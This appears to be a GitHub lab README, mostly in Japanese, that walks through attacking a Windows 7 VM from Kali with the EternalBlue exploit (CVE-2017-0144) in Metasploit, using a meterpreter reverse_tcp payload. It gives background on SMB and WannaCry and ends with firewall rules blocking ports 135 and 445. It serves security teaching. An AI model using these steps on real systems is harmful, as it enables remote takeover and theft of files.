luckyman2907/smb-protocol-vulnerability_cve-2017-0144Step-by-step lab guide demonstrating the EternalBlue exploit (CVE-2017-0144) against Windows 7 SMB protocol using Metasploit, including setup, exploitation, and mitigation steps.
LAB: SMBプロトコルの脆弱性を利用したWindows OS攻撃
このラボでは、2台のコンピュータを使用して、Windows OSのSMBプロトコルの脆弱性を利用した攻撃をシミュレーションします。1台はKali Linux OSを実行し、攻撃者（ハッカー）の役割を担います。もう1台は被害者（victim）の役割を担うコンピュータです。被害者マシンはSMB脆弱性を含むWindows 7 64ビットOSを実行しています。これを行うために、Kali Linuxマシン上で EternalBlue というエクスプロイトコードを使用してWindows 7マシンを攻撃します。
Server Message Block (SMB) は、MicrosoftのWindowsプラットフォーム上で非常に一般的なファイル共有プロトコルです。このSMBプロトコルにより、同じネットワークセグメント内または同じドメイン内で接続されたWindowsコンピュータ同士がファイルを共有できます。現在、SMBは Common Internet File Sharing (CIFS) とも呼ばれています。
EternalBlue は、ポート445を介したSMBプロトコルの脆弱性を利用する情報エクスプロイトコードです。当初、EternalBlue は 米国国家安全保障局（NSA） によって開発されました。英語の正式名称は U.S. National Security Agency です。しかしその後、2017年にハッカーグループ The Shadow Brokers によって漏洩しました。同じ年、Microsoft Windowsを実行するコンピュータを標的にした、ランサムウェア（身代金要求型マルウェア）による大規模な攻撃が世界中で発生しました。その中でも最も有名なのが WannaCry ウイルスです。現在、この脆弱性はMicrosoftによってセキュリティ更新プログラム MS17-010 で修正されていますが、世界中の多くのWindows OSを実行するコンピュータにまだこの脆弱性が存在しています。この脆弱性は CVE-2017-0144 （Windows SMB Remote Code Execution Vulnerability）として公開されています。この脆弱性は非常に危険であり、容易に悪用される可能性があります。特筆すべきは、このSMBプロトコルの脆弱性を介して攻撃するために、ハッカーは被害者に悪意のあるウイルスをダウンロードさせたり実行させたりする必要がないことです。つまり、被害者が何もしなくても、ハッカーは容易に攻撃してコンピュータの制御を奪い、被害者はそれに気づかないのです。
VMware Workstationソフトウェア上で動作する2台の仮想マシンを準備します:
Kali (攻撃) 仮想マシン上:
ifconfigservice postgresql startservice postgresql statusWindows 7 (被害者) 仮想マシン上:
ipconfigmsfconsole
search ms17_010
use 0 -> set payload windows/x64/meterpreter/reverse_tcp
=>これでハッカーは被害者マシンへの侵入に成功したと見なされます。この時点で、ハッカーは被害者が気づかないうちにファイルを削除したり盗んだりできます。さらに、ハッカーはウイルスを直接アップロードして実行することも可能です。
SMBプロトコルの悪用や搾取を防ぐには、次の作業を実行する必要があります:
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_Cong_135"netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_Cong_445"